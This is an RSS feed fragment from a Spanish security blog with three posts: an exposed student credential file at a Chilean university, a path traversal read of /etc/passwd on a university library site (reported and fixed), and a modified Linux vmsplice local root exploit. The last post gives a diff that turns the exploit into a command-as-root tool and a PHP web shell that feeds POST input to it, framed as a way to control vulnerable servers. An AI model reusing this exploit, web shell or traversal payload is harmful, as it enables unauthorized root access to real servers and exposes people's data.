		<description><![CDATA[Al igual que en el post anterior, que hablaba sobre la vulnerabilidad en uno de los sitios de la Universidad de Chile, esta vez es el turno de la Universidad Catolica de Valparaiso (UCV), especificamente el campus virtual. Al parecer el sitio estaba en mantenimiento ya que me encontre con varios mensajes que del tipo [...]]]></description>
			<content:encoded><![CDATA[<p>Al igual que en el <a href="http://blog.zerial.org/seguridad/vulnerabilidad-biblio-uchile/" target="_self">post anterior</a>, que hablaba sobre la vulnerabilidad en <a href="http://bibliodoc.fen.uchile.cl" target="_self">uno de los sitios</a> de la Universidad de Chile, esta vez es el turno de la <a href="http://www.ucv.cl" target="_self">Universidad Catolica de Valparaiso</a> (UCV), especificamente el <a href="http://www.campus-ucv.cl/" target="_self">campus virtual</a>.</p>
<p>Al parecer el sitio estaba en mantenimiento ya que me encontre con varios mensajes que del tipo &#8220;<em>Este sitio esta en mantencion</em>&#8220;, pero esto no es excusa. Dejar un directorio que contiene informacion sensible de clientes, empleados, empresa, alumnos, etc <strong>no</strong> puede estar publicado en internet con permisos de <em>listar directorio</em> habilitado. Existen varias formas de proteger el contenido de un directorio desde la configuracion del fichero <em>.htaccess</em> hasta algo tan simple como el crear un <em>index.php|html|htm</em> vacios, sin dejar de lado que se puede hacer agregado reglas de acceso a la configuracion del dominio.</p>
<p>Bueno, encontré un directorio con información sensible de alumnos de esa Universidad, quizas la informacion es un poco antigua pero que importa eso si ni el nombre ni el rut de las personas cambia. Intenté comunicar con la webmaster del sitio pero no obtuve respuesta.</p>
<p>En este caso, se han expuesto en internet datos de aproximadamente 2000 alumnos.</p>
<p style="text-align: left;">
<p><center><br />
<div id="attachment_321" class="wp-caption aligncenter" style="width: 317px"><a href="http://blog.zerial.org/wp-content/uploads/2009/05/datos_acceso_enviados.png"><img class="size-full wp-image-321" title="t_datos_acceso_enviados" src="http://blog.zerial.org/wp-content/uploads/2009/05/t_datos_acceso_enviados.png" alt="Informacion hecha publica por la UCV" width="307" height="226" /></a><p class="wp-caption-text">Informacion hecha publica por la UCV</p></div></center></p>
<p style="text-align: left;">En esa imagen podemos ver un poco de la informacion que aparece en el <em>directorio vulnerable</em>. Es un fichero separado por <em>gatos</em> (###) donde podemos ver que lo mas interesante son las columnas 3, 4, 5 y 6 que corresponden al rut, nombre completo de la persona, nombre de usuario y password respectivamente.</p>
<p style="text-align: left;"><span id="more-316"></span></p>
<p style="text-align: left;">En este directorio podemos encontrar varios archivos mas, como un sistema empaquetado que si lo descargamos podremos ver su codigo fuente y posiblemente los datos de conexion a las bases de datos como usuario y contraseña, entre otras cosas.</p>
<p style="text-align: left;">
<p><center><div id="attachment_323" class="wp-caption aligncenter" style="width: 255px"><img class="size-full wp-image-323" title="directorio" src="http://blog.zerial.org/wp-content/uploads/2009/05/directorio.png" alt="Directorio vulnerable" width="245" height="536" /><p class="wp-caption-text">Directorio vulnerable</p></div></center></p>
<p>Lo que se puede hacer con la informacion disponibles depende de la imaginacion que tenga cada uno. Yo no se como las entidades encargadas de proteger nuestra informacion caen en cosas tan <strong>basicas</strong> como estas. Por motivos de etica creo que no seria correcto que publicara la direccion de la web, aunque se que la si la <em>googlean</em> de la forma correcta, con los datos que les entregué, la encontrarán.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Finformacion-expuesta-universidad-catolica-valparaiso%2F&amp;linkname=Informaci%C3%B3n%20sensible%20expuesta%20publicamente%20en%20la%20UCV" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Finformacion-expuesta-universidad-catolica-valparaiso%2F&amp;linkname=Informaci%C3%B3n%20sensible%20expuesta%20publicamente%20en%20la%20UCV" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Finformacion-expuesta-universidad-catolica-valparaiso%2F&amp;linkname=Informaci%C3%B3n%20sensible%20expuesta%20publicamente%20en%20la%20UCV" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Finformacion-expuesta-universidad-catolica-valparaiso%2F&amp;linkname=Informaci%C3%B3n%20sensible%20expuesta%20publicamente%20en%20la%20UCV" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Finformacion-expuesta-universidad-catolica-valparaiso%2F&amp;linkname=Informaci%C3%B3n%20sensible%20expuesta%20publicamente%20en%20la%20UCV" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Finformacion-expuesta-universidad-catolica-valparaiso%2F&amp;linkname=Informaci%C3%B3n%20sensible%20expuesta%20publicamente%20en%20la%20UCV" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Finformacion-expuesta-universidad-catolica-valparaiso%2F&amp;linkname=Informaci%C3%B3n%20sensible%20expuesta%20publicamente%20en%20la%20UCV" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Finformacion-expuesta-universidad-catolica-valparaiso%2F&amp;linkname=Informaci%C3%B3n%20sensible%20expuesta%20publicamente%20en%20la%20UCV">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/informacion-expuesta-universidad-catolica-valparaiso/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidad en un sitio de la Universidad de Chile</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidad-biblio-uchile/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidad-biblio-uchile/#comments</comments>
		<pubDate>Tue, 26 May 2009 21:11:44 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[file disclosure]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[path disclosure]]></category>
		<category><![CDATA[uchile]]></category>
		<category><![CDATA[vulnerabilidad]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=307</guid>
		<description><![CDATA[Se trata del sitio de la biblioteca virtual de la Facultad de Economia y Negocios (FEN) de la Universidad de Chile. Hace un par de dias descubri una vulnerabilidad del tipo path disclosure en http://bibliodoc.fen.uchile.cl. La forma de explotar este fallo era iniciar sesion con cualquier usuario y buscar algun documento, cuando acercabamos el mouse [...]]]></description>
			<content:encoded><![CDATA[<p>Se trata del sitio de la <a href="http://bibliodoc.fen.uchile.cl" target="_blank">biblioteca virtual</a> de la <a href="http://fen.uchile.cl" target="_blank">Facultad de Economia y Negocios</a> (FEN) de la <a href="http://www.uchile.cl" target="_self">Universidad de Chile</a>. Hace un par de dias descubri una vulnerabilidad del tipo <strong>path disclosure</strong> en <a href="http://bibliodoc.fen.uchile.cl">http://bibliodoc.fen.uchile.cl</a>.</p>
<p>La forma de explotar este fallo era iniciar sesion con cualquier usuario y buscar algun documento, cuando acercabamos el mouse hacia el link podiamos ver:</p>
<p><img class="aligncenter size-full wp-image-312" title="uchile-path" src="http://blog.zerial.org/wp-content/uploads/2009/05/uchile-path.png" alt="uchile-path" width="564" height="33" /></p>
<p>Si modificabamos ese link, remplazando <em>documento para descargar.pdf</em> por alguna ruta a un archivo de sistema, podremos descargarlo. Por ejemplo</p>
<p><img class="aligncenter size-full wp-image-313" title="uchile-path1" src="http://blog.zerial.org/wp-content/uploads/2009/05/uchile-path1.png" alt="uchile-path1" width="500" height="31" /></p>
<p>Con <strong>../../../../</strong> nos aseguramos retroceder lo suficiente para llegar a la raiz y con <strong>/etc/passwd</strong> le decimos al script download.php que nos entregue el fichero passwd, que guarda la informacion de usuarios de sistema. Obteniendo lo siguiente:</p>
<p><img class="aligncenter size-full wp-image-314" title="uchile-path2" src="http://blog.zerial.org/wp-content/uploads/2009/05/uchile-path2.png" alt="uchile-path2" width="532" height="472" /></p>
<p>Dias despues de explotar y confirmar esta vulnerabilidad, me di el trabajo de comunicarles a los de soporte de ese sitio sobre este fallo obteniendo una respuesta en poco tiempo. Estaban muy agradecidos por haberles comunicado el problema. En unos minutos me agrego a gtalk/jabber el desarrollador del portal y me hizo unas preguntas, para saber como habia logrado explotar esa vulnerabilidad y en que consistia y, luego de haberle respondido algunas preguntas y haberlo ayudado, rapidamente solucionó el problema.</p>
<p>Las vulnerabilidades de tipo <strong>file/path disclosure</strong> son aquellas donde de alguna u otra forma podemos acceder a archivos del sistema que estan fuera del path de la web, como en este caso, por ejemplo si la web hubiese estado en /var/www/bibliodoc, mediante este bug pudimos acceder a un archivo ubicado en /etc/ que, claramente, esta fuera del directorio.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-biblio-uchile%2F&amp;linkname=Vulnerabilidad%20en%20un%20sitio%20de%20la%20Universidad%20de%20Chile" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-biblio-uchile%2F&amp;linkname=Vulnerabilidad%20en%20un%20sitio%20de%20la%20Universidad%20de%20Chile" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-biblio-uchile%2F&amp;linkname=Vulnerabilidad%20en%20un%20sitio%20de%20la%20Universidad%20de%20Chile" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-biblio-uchile%2F&amp;linkname=Vulnerabilidad%20en%20un%20sitio%20de%20la%20Universidad%20de%20Chile" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-biblio-uchile%2F&amp;linkname=Vulnerabilidad%20en%20un%20sitio%20de%20la%20Universidad%20de%20Chile" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-biblio-uchile%2F&amp;linkname=Vulnerabilidad%20en%20un%20sitio%20de%20la%20Universidad%20de%20Chile" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-biblio-uchile%2F&amp;linkname=Vulnerabilidad%20en%20un%20sitio%20de%20la%20Universidad%20de%20Chile" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-biblio-uchile%2F&amp;linkname=Vulnerabilidad%20en%20un%20sitio%20de%20la%20Universidad%20de%20Chile">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidad-biblio-uchile/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>root exploit: Ejecutar comando como root</title>
		<link>http://blog.zerial.org/seguridad/root-exploit-ejecutar-comando-como-root/</link>
		<comments>http://blog.zerial.org/seguridad/root-exploit-ejecutar-comando-como-root/#comments</comments>
		<pubDate>Thu, 09 Oct 2008 04:39:21 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[vulnerabilidad]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=98</guid>
		<description><![CDATA[Hace un tiempo se dio a conocer un bug que afectaba a las versiones 2.6.17 &#8211; 2.6.24.1 del Kernel de Linux. Se publicaron distintas variantes del exploit que nos permitia escalar privilegios y ganar acceso root a una maquina con solo ejecutar el exploit. Tuve la idea de modificar uno de estos codigos publicados para [...]]]></description>
			<content:encoded><![CDATA[<p>Hace un tiempo se dio a conocer un <em><a href="http://www.securityfocus.com/bid/27704" target="_other">bug</a></em> que afectaba a las versiones 2.6.17 &#8211; 2.6.24.1 del Kernel de Linux. Se publicaron distintas variantes del exploit que nos permitia escalar privilegios y ganar acceso root a una maquina con solo ejecutar el exploit.<br />
Tuve la idea de modificar uno de estos codigos publicados para poder explotar la vulnerabilidad a traves de la web. Esto se me ocurrio debido a la experiencia en intrusion en servidores, sabiendo que muchos usan versiones de kernel antiguos o que no estan parcheadas.</p>
<blockquote><p>root-exploit.diff</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">51a52</div>
</li>
<li class="li1">
<div class="de1">&gt; <span class="kw4">char</span>&nbsp; *_cmd;</div>
</li>
<li class="li1">
<div class="de1">55d55</div>
</li>
<li class="li1">
<div class="de1">&lt; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span>err ? <span class="st0">&quot;[-] %s: %s<span class="es0">\n</span>&quot;</span> : <span class="st0">&quot;[-] %s<span class="es0">\n</span>&quot;</span>, msg, strerror<span class="br0">&#40;</span>err<span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="nu0">182</span>,183d181</div>
</li>
<li class="li1">
<div class="de1">&lt;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] root<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">185c183,<span class="nu0">184</span></div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; execl<span class="br0">&#40;</span><span class="st0">&quot;/bin/bash&quot;</span>, <span class="st0">&quot;bash&quot;</span>, <span class="st0">&quot;-i&quot;</span>, <span class="kw2">NULL</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&#8212;</div>
</li>
<li class="li1">
<div class="de1">&gt; &nbsp; &nbsp; &nbsp; system<span class="br0">&#40;</span>_cmd<span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&gt; &nbsp; &nbsp; &nbsp; <span class="co1">//execl(&quot;/bin/bash&quot;, &quot;bash&quot;, &quot;-i&quot;, NULL);</span></div>
</li>
<li class="li1">
<div class="de1">195a195</div>
</li>
<li class="li1">
<div class="de1">&gt; &nbsp; &nbsp; &nbsp; _cmd = argv<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="nu0">202</span>,205d201</div>
</li>
<li class="li1">
<div class="de1">&lt; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot; Linux vmsplice Local Root Exploit<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot; By qaaz<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="nu0">221</span>,223d216</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] mmap: 0x%lx .. 0x%lx<span class="es0">\n</span>&quot;</span>, map_addr, map_addr + map_size<span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] page: 0x%lx<span class="es0">\n</span>&quot;</span>, pages<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] page: 0x%lx<span class="es0">\n</span>&quot;</span>, pages<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">241</span>,243d233</div>
</li>
<li class="li2">
<div class="de2">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] mmap: 0x%lx .. 0x%lx<span class="es0">\n</span>&quot;</span>, map_addr, map_addr + map_size<span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] page: 0x%lx<span class="es0">\n</span>&quot;</span>, pages<span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] page: 0x%lx<span class="es0">\n</span>&quot;</span>, pages<span class="br0">&#91;</span><span class="nu0">3</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">258</span>,259d247</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] mmap: 0x%lx .. 0x%lx<span class="es0">\n</span>&quot;</span>, map_addr, map_addr + map_size<span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] page: 0x%lx<span class="es0">\n</span>&quot;</span>, pages<span class="br0">&#91;</span><span class="nu0">4</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">269d256</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] mmap: 0x%lx .. 0x%lx<span class="es0">\n</span>&quot;</span>, map_addr, map_addr + map_size<span class="br0">&#41;</span></div>
</li>
</ol>
</div>
</blockquote>
<p>La modificacion que hago es eliminar todos los <em>printf</em> para que el resultado sea mas limpio ademas, tambien modifico el codigo para que ejecute el comando que nosotros le digamos y luego vuelva a su estado normal.</p>
<p><strong>Demostracion</strong></p>
<blockquote><p><code>username@machine:~$ ./root-exploit whoami<br />
root<br />
username@machine:~$ </code></p></blockquote>
<p><span id="more-98"></span></p>
<p>De esta manera podremos programar un sencillo script en php para manipular la maquina vulnerable como se nos de la gana.</p>
<blockquote>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"> &lt; ?PHP</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&lt;form action=&quot;</span>?<span class="st0">&quot; method=&quot;</span>post<span class="st0">&quot;&gt;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&lt;input name=&quot;</span>cmd<span class="st0">&quot; type=&quot;</span>text<span class="st0">&quot; /&gt;</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0">&lt;input type=&quot;</span>submit<span class="st0">&quot; value=&quot;</span><a href="http://www.php.net/exec"><span class="kw3">eXec</span></a>!<span class="st0">&quot; /&gt;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&#8216;cmd&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp;<a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&lt;textarea cols=&quot;</span><span class="nu0">30</span><span class="st0">&quot; rows=&quot;</span><span class="nu0">120</span><span class="st0">&quot;&gt;&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<a href="http://www.php.net/print"><span class="kw3">print</span></a> <a href="http://www.php.net/shell_exec"><span class="kw3">shell_exec</span></a><span class="br0">&#40;</span><span class="st0">&quot;./root-exploit &quot;</span>.<span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&#8216;cmd&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&lt;/textarea&gt;&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
</blockquote>
<p><strong>Descargas</strong><br />
<a href="http://blog.zerial.org/files/root-exploit.c" target="_other">Variacion del exploit</a><br />
<a href="http://www.milw0rm.com/exploits/5092" target="_other">Exploit original 1</a><br />
<a href="http://www.milw0rm.com/exploits/5093" target="_other">Exploit original 2</a></p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Froot-exploit-ejecutar-comando-como-root%2F&amp;linkname=root%20exploit%3A%20Ejecutar%20comando%20como%20root" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Froot-exploit-ejecutar-comando-como-root%2F&amp;linkname=root%20exploit%3A%20Ejecutar%20comando%20como%20root" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Froot-exploit-ejecutar-comando-como-root%2F&amp;linkname=root%20exploit%3A%20Ejecutar%20comando%20como%20root" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Froot-exploit-ejecutar-comando-como-root%2F&amp;linkname=root%20exploit%3A%20Ejecutar%20comando%20como%20root" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Froot-exploit-ejecutar-comando-como-root%2F&amp;linkname=root%20exploit%3A%20Ejecutar%20comando%20como%20root" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Froot-exploit-ejecutar-comando-como-root%2F&amp;linkname=root%20exploit%3A%20Ejecutar%20comando%20como%20root" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Froot-exploit-ejecutar-comando-como-root%2F&amp;linkname=root%20exploit%3A%20Ejecutar%20comando%20como%20root" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Froot-exploit-ejecutar-comando-como-root%2F&amp;linkname=root%20exploit%3A%20Ejecutar%20comando%20como%20root">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/root-exploit-ejecutar-comando-como-root/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
